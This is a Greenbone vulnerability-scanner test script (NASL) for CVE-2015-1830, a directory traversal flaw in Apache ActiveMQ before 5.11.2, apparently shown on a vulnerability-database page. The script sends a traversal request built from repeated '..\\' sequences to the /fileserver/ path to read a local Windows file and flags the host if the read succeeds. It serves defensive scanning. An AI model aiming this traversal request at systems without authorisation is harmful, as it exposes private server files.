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Apache ActiveMQ 5.x < 5.11.2 Directory Traversal Vulnerability - Active Check

🗓️ 24 Aug 2015 00:00:00Reported by Copyright (C) 2015 Greenbone AGType 
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Apache ActiveMQ Directory Traversal Vulnerability, allows remote attacker to create arbitrary files and perform other attack

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# SPDX-FileCopyrightText: 2015 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:apache:activemq";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.105331");
  script_version("2026-02-24T05:57:09+0000");
  script_cve_id("CVE-2015-1830");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:P/A:N");

  script_name("Apache ActiveMQ 5.x < 5.11.2 Directory Traversal Vulnerability - Active Check");

  script_tag(name:"last_modification", value:"2026-02-24 05:57:09 +0000 (Tue, 24 Feb 2026)");
  script_tag(name:"creation_date", value:"2015-08-24 13:28:31 +0200 (Mon, 24 Aug 2015)");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2015 Greenbone AG");
  script_dependencies("gb_apache_activemq_consolidation.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 8161);
  script_mandatory_keys("apache/activemq/detected", "Host/runs_windows");

  script_xref(name:"URL", value:"https://web.archive.org/web/20210120171515/http://www.securityfocus.com/bid/76452");

  script_tag(name:"impact", value:"A remote attacker could exploit this vulnerability using directory-
  traversal characters ('../') to create arbitrary files in the target directory and perform other attacks.");

  script_tag(name:"vuldetect", value:"Try to read a local file via traversal characters.");

  script_tag(name:"solution", value:"Updates are available.");

  script_tag(name:"summary", value:"Apache ActiveMQ is prone to a directory traversal vulnerability because it fails to
  sufficiently sanitize user-supplied input.");

  script_tag(name:"affected", value:"Apache ActiveMQ 5.x versions prior to 5.11.2 are vulnerable.");

  script_tag(name:"qod_type", value:"remote_app");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("traversal_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("os_func.inc");

if( ! port = get_app_port( cpe:CPE, service:"www" ) )
  exit( 0 );

if( ! get_app_location( cpe:CPE, port:port, nofork:TRUE ) ) # nb: To have a reference to the Detection-VT
  exit( 0 );

files = traversal_files( "windows" );

foreach file( keys( files ) ) {
  url = "/fileserver/" + crap( data:"..\\", length:18 ) + "/" + files[file];
  if( http_vuln_check( port:port, url:url, pattern:file ) ) {
    report = http_report_vuln_url( port:port, url:url );
    security_message( port:port, data:report );
    exit( 0 );
  }
}

exit( 99 );

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24 Feb 2026 00:00Current
8.6High risk
Vulners AI Score8.6
CVSS 25
EPSS0.84408
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